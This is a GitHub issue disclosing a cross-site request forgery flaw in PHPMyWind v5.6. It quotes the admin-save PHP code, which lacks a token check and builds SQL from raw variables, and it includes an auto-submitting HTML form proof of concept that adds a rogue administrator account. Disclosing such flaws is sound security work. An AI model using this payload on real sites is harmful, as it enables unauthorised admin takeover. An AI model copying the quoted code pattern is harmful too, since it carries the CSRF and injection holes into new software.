We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Product Homepage: http://phpmywind.com/
Software link: https://github.com/gaozhifeng/PHPMyWind
Version: v5.6
The backend code writes the new user data to the database without authentication such as token
if($dosql->GetOne("SELECT `id` FROM `$tbname` WHERE `username`='$username'")) { ShowMsg('用户名已存在!', '-1'); exit(); } $password = md5(md5($password)); $loginip = '127.0.0.1'; $logintime = time(); $sql = "INSERT INTO `$tbname` (username, password, nickname, question, answer, levelname, checkadmin, loginip, logintime) VALUES ('$username', '$password', '$nickname', '$question', '$answer', '$levelname', '$checkadmin', '$loginip', '$logintime')"; if($dosql->ExecNoneQuery($sql)) { header("location:$gourl"); exit(); }
When the background administrator clicks the malicious link, the background will add an administrator user
PoC:
<html> <body> <form action="http://127.0.0.1:9000/admin/admin_save.php" method="POST"> <html> <form action="http://127.0.0.1:9000/admin/admin_save.php" method="POST"> <input type="hidden" name="username" value="admincsrf" /> <input type="hidden" name="password" value="admin" /> <input type="hidden" name="repassword" value="admin" /> <input type="hidden" name="question" value="0" /> <input type="hidden" name="answer" value="" /> <input type="hidden" name="nickname" value="" /> <input type="hidden" name="levelname" value="1" /> <input type="hidden" name="checkadmin" value="true" /> <input type="hidden" name="action" value="add" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Product Homepage: http://phpmywind.com/
Software link: https://github.com/gaozhifeng/PHPMyWind
Version: v5.6
The backend code writes the new user data to the database without authentication such as token
When the background administrator clicks the malicious link, the background will add an administrator user
PoC:
The text was updated successfully, but these errors were encountered: